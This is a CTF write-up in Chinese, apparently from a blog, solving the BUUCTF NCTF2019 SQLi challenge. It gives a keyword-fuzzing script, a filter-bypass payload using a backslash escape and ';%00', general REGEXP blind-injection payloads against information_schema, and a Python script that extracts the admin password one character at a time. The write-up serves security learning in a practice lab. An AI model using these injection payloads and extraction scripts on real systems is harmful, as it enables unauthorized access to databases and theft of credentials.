BUUCTF_[NCTF2019]SQLi

[NCTF2019]SQLi

参考:

SQL正则盲注-regexp - 灰信网(软件开发博客聚合) (freesion.com)

场景:

image-20240205151103629

获取网页的sql语句:

1
sqlquery : select * from users where username='' and passwd=''

第一件重要的事情,查看robots.txt:

image-20240205225500432

发现存在一个hint.txt

查看hint.txt:

image-20240205225545093

获得提示信息:

hint.txt:

1
2
3
4
5
6
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

根据提示信息,我们需要获得admin的密码,如果我们输入的admin账户密码正确,则返回flag,所以我们的目标就是要获取admin的密码,这里要注意admin也被过滤了。

测试登录框:

image-20240205151307447

响应内容:

image-20240205151328364

存在对我们输入的关键词过滤,所以我们先要确定它过滤哪些内容

使用bp抓包获取它的传参内容:

BP抓包:

image-20240205151548518

image-20240205151606864

获取到是在index.php下的post传参,参数为username,passwd

获取响应信息:

image-20240205151746755

响应信息为alert(‘hacker!!!’);

使用脚本获取网站的过滤信息:

fuzz.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import time
# 打开读取SQL_fuzz文件
with open("SQL_fuzz.txt", "r") as f:
contents = f.readlines()
# print(contents)
# 删除读取数据中的'\n'
data_list = []
for msg in contents:
msg = msg.strip('\n')
# # 字符串根据空格进行分割
# d = msg.split(' ')
data_list.append(msg)
f.close
# print(data_list)

black_list = []
white_list = []

# 进行fuzz注入
url = "http://fe2b3a55-cad0-4bb2-86b2-06d51d5c8cd2.node5.buuoj.cn:81/index.php"
# GET请求
# for data in data_list:
# da = data
# # da = "1 {}".format(data)
# # da = "1{}".format(data)
# da = "1/**/{}".format(data)
# r = requests.get(url+da)
# # 使用time使请求能够拥有足够的时间去响应
# time.sleep(0.04)
# # 获取过滤网站响应信息
# reponse_txt = "你还想执行"
# if (reponse_txt in r.text):
# black_list.append(data)
# print("该网站过滤了{}".format(data))

# POST请求
for d in data_list:
# da = d
# da = "1 {}".format(d)
da = "1{}".format(d)
# POST传输json数据
payload = {
"username":da,
"passwd":"123456"
}
r = requests.post(url=url, data=payload)
time.sleep(0.04)
reponse_txt = "'hacker!!!"
# print(r.text)
if (reponse_txt in r.text):
black_list.append(d)
print("该网站过滤了{}".format(d))
else:
white_list.append(d)


print("黑名单数据:{}".format(black_list))
print()
print("白名单数据:{}".format(white_list))

输出:

1
2
3
4
黑名单数据:['mid', 'handler', 'like', 'LiKe', 'substr', 'SubStr', 'select', 'SeleCT', 'SElect', 'SELect', 'sleep', 'SLEEp', 'database', 'DATABASe', 'having', 'or', 'oroR', 'Or', 'oR', 'OR', '-~', 'BENCHMARK', 'limit', 'limitLimIt', 'LImit', 'LimIt', 'select', 'SELECT', 'insert', 'insERT', 'INSERT', '#', '--+', 'INFORMATION', '--', 'xor', '<>', '>', '<', '.', '=', 'ANDANd', 'And', 'and', 'aNd', 'BY', 'By', "'1'='1", "admin'", 'length ', 'select ', 'database', 'union', 'UNIon', 'UNION', 'oorr', 'anandd', 'HAVING', 'IF', 'INTO', 'JOIN', 'sleep', 'LIKE', 'infromation_schema', 'OR', 'ORDER', 'ORD', 'SELECT', 'TABLE', 'UNION', 'USING', 'WHERE', 'AND', 'inset', 'CONCAT', 'GROUP_CONCAT', 'group_concat', 'DATABASE', 'DATABASES', 'floor', 'rand()', 'information_schema.tables', 'TABLE_SCHEMA', 'concat_ws()', 'concat', 'LIMIT', 'ORD', 'order ', 'CAST()', 'by', 'ORDER', 'SELECT', 'TABLE', 'instr', 'benchmark', 'format', 'bin', 'substring', 'ord', 'VARCHAR', 'WHERE', '  ', ',', 'users', 'mid', 'for', 'BEFORE', 'RLIKE', 'in', 'sys schemma', 'SEPARATOR', 'XOR', 'CURSOR', 'FLOOR', 'sys.schema_table_statistics_with_buffer', 'INFILE', '=', ' ']

白名单数据:['length', 'column', 'Length', '+', 'delete', 'asAs', 'aS', 'As', 'AS', 'left', 'Left', 'LEft', 'Left', 'right', ';', '!', '%', '+', '(', ')',
'^', 'CAST', 'COLUMN', 'COlumn', 'COUNT', 'Count', 'CREATE', 'END', 'case', 'when', '"', '+', 'REVERSE', '', 'ascii', 'ASSIC', 'ASSic', 'left', 'right', '"', '&', '&&', '||', '/', '//', '//*', '*/*', '/**/', 'GROUP', 'LEAVE', 'LEFT', 'LEVEL', 'NAMES', 'NEXT', 'NULL', 'OF', 'ON', '|', 'user', 'SCHEMA', 'SET', 'THEN', 'UPDATE', 'USER', 'VALUE', 'VALUES', 'WHEN', 'ADD', 'prepare', 'set', 'update', 'delete', 'drop', 'CAST', 'COLUMN', 'CREATE', 'alter', 'DELETE', 'DROP', '%df', 'ON', 'extractvalue', 'OUTFILE', 'RENAME', 'REPLACE', 'SCHEMA', 'SET', 'updatexml', 'SHOW', 'SQL', 'THEN', 'TRUE', '', 'UPDATE', 'VALUES', 'VERSION', 'WHEN', '/*', '`', '%0a%0A', '%0b', 'REGEXP', 'count', '%0c', 'from', '%0d', '%a0', '@', 'else%27%23%22%20', '/**/', 'regexp','%','\']

分析:

1
2
3
4
5
根据黑马单数据,我们发现网站过滤了select,且采用了大小写过滤,这里无法使用常用的盲注payload获取到数据库信息了,但是regexp没有被过滤,所以可以考虑采用正则注入。

常用的注释被过滤了,我们就用;%00代替:

'被过滤,那么用来闭合多余'就只能用\,转义字符进行代替

使用转义字符和万能密钥登录系统:

原理:

1
select * from beansystemuser where 1

image-20240205164932685

构造sql语句实现登录:

1
2
3
select * from users where username='\' and passwd=' || 1;%00'
=>由于过滤了空格,所以要进行绕过
select * from users where username='\' and passwd='/**/||/**/1;%00'

paylaod:

1
username=\&passwd=||/**/1;%00

image-20240205165314530

成功回显页面,同时获取到响应页面定位到welcome.php页面显示

welcome.php:

image-20240205165536457

还是一个登录界面,因为根据hint.txt的提示,我们的密码需要是admin账户的密码才可以,所以没返回我们想要的内容,但是我们至少收集到如果我们的参数输入使得sql语句有返回结果,就会有welcome.php的信息显示。

正则注入:

原理:

1
2
3
4
5
6
7
8
9
10
11
regexp:
REGEXP 是 MySQL 中用于进行正则表达式匹配的操作符。使用 REGEXP 可以在查询中进行模式匹配,以查找满足特定模式的字符串。
以下是一个简单的示例,演示如何在 MySQL 中使用 REGEXP:
SELECT * FROM your_table
WHERE your_column REGEXP 'pattern';

在上面的示例中,your_table 是您要查询的表名,your_column 是要进行匹配的列名,而 'pattern' 则是您希望进行匹配的正则表达式模式。
例如,如果您想查找 your_column 中以字母 "a" 开头的所有字符串,可以使用以下查询:
SELECT * FROM your_table
WHERE your_column REGEXP '^a';
这将返回所有以字母 "a" 开头的字符串。

测试实例:

sql1:

1
2
select * from information_schema.tables 
where table_schema="testforweb" and table_name REGEXP "^b"

image-20240205230905461

总共回显三条记录

sql1_1:

1
2
select 1 from information_schema.tables 
where table_schema="testforweb" and table_name REGEXP "^b"

image-20240205231038166

也回显三条记录

分析:

1
数据库的运行逻辑是先运行from后面所有的内容,满足from后面的条件之后,在执行select的内容,所以from后面多少条记录,select就打印多少条记录,打印内容取决于select 和 from之间的内容,如果是from后面产生的虚拟表的字段,则打印字段内容,如果是常量,则直接打印常量

测试:

1
select 1 from beansystemuser

image-20240205231804893

beansystemuser表总共有4条记录,该sql语句就打印4个1

所以可以存在以下盲注payload

盲注payload:

payload1:

select可用:

1
2
3
4
5
6
7
8
9
10
//判断第一个表名的第一个字符是否在a-z之间
?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*
//REGEXP '^[a-z]'即是匹配正则表达式,^表示匹配字符串的开始,[a-z]即匹配字母a-z

如果输出的第一张表的名称匹配是以a-z的字符开头的话,就会返回一个1,从而形成1=1

假如知道第一张表名称的第一个字符为c,则获取接下来的字符就是:
?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^c{}' LIMIT 0,1) /*

{}为任意合法的表名字符,即通过这种方式一步一步的推出表名,类似like和=的盲注

所以可以用以上payload构造出用于获取表名,字段名,字段值的payload,但是以上payload只能用于select可用的情况,当select可以用时其实可以直接使用普通的盲注脚本以及时间脚本。

payload2:

select不可用,但是知道(可以猜测)查询的字段名时,直接爆破字段值

1
2
3
4
5
6
7
8
示例:
select * from users where username='' and passwd=''
这句sql语句直接告诉我们users表中的两个字段username和passwd,所以可以通过构造以下sql直接爆破获取这两个字段的值:
username = '123 || passwd regexp "^{}" /*' and passwd='123'
username = '123 || username regexp "^{}" /*' and passwd='123'

username = '1\' and passwd=' || passwd regexp "^{}" /*'
username = '1\' and passwd=' || username regexp "^{}" /*'

这个局限在于我们只能爆破已知的或猜测正确的字段值,不能爆破任意字段的内容。这个payload也可以用=和like进行替换。

根据正则注入的payload2构造脚本:

注意事项:

1
2
3
4
5
6
7
8
9
10
在正则表达式中,^a$ 表示一个精确匹配的模式,它只匹配以字母 "a" 开头且以字母 "a" 结尾的字符串。

具体解释如下:

^:表示匹配字符串的开头。
a:表示匹配字母 "a"。
$:表示匹配字符串的结尾。
因此,^a$ 只会匹配单个字符 "a",而不会匹配任何其他字符串。这意味着如果要匹配一个完全等于 "a" 的字符串,可以使用 ^a$ 正则表达式模式。

所以当出现匹配的字符串中有$时,说明字段值已经匹配完成

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import time
from urllib import parse

# header={
# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
# 'Origin': 'http://2a76f9bd-c19c-4d74-9385-12c43d39a140.node3.buuoj.cn',
# 'Referer': 'http://2a76f9bd-c19c-4d74-9385-12c43d39a140.node3.buuoj.cn/index.php'
# }

# 由于是类似等于的比较方式,所以采用直接遍历,不用二分法
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&(),-./:;<=>@[\]_`{|}~'

url = 'http://3837f8c5-85b2-4601-b191-adb8d95e9524.node5.buuoj.cn:81/index.php'

corret_context = ''
for i in range(1, 100):
# 查找匹配当前字符
for j in s:
# data = {'passwd':"||/**/passwd/**/regexp/**/\"^{}\";{}".format(corret_context+j, parse.unquote('%00')),"username":"\\"}
# 由于%00不能直接传参,否则解码为空,所以需要用parse.unquote('%00')传参,url传参的基本要求
data = {
"username":"\\",
"passwd":"||/**/passwd/**/regexp/**/\"^{0}\";{1}".format(corret_context+j, parse.unquote('%00'))
}
print("当前进度:{}% {}".format(i,data))
# r = requests.post(url=url, data=data,headers=header)
r = requests.post(url=url, data=data)
time.sleep(0.04)
true_text = "welcome.php"
if true_text in r.text:
corret_context += j
print(corret_context)
break
# 判断字符串是否已经全部匹配,有时候正确的字段值可能会有$,所以要酌情考虑
if corret_context.endswith("$"):
corret_context = corret_context[:-1]
break

print("corret_context:{}".format(corret_context))

输出:

image-20240206003746260

1
2
you_will_never_know7788990$
corret_context:you_will_never_know7788990

登录页面:

由于黑名单中也过滤了admin所以我们需要用admi/**/n绕过黑名单,但是username在sql查询时依然以admin进行查询,不受影响。

1
2
username=admi/**/n
&passwd=you_will_never_know7788990

image-20240206002553833

flag=flag{1e629120-8e86-40d2-9281-fd0ded2d4383}


BUUCTF_[NCTF2019]SQLi
http://example.com/2024/02/18/2023-08-20-[NCTF2019]SQLi/
作者
South
发布于
2024年2月18日
许可协议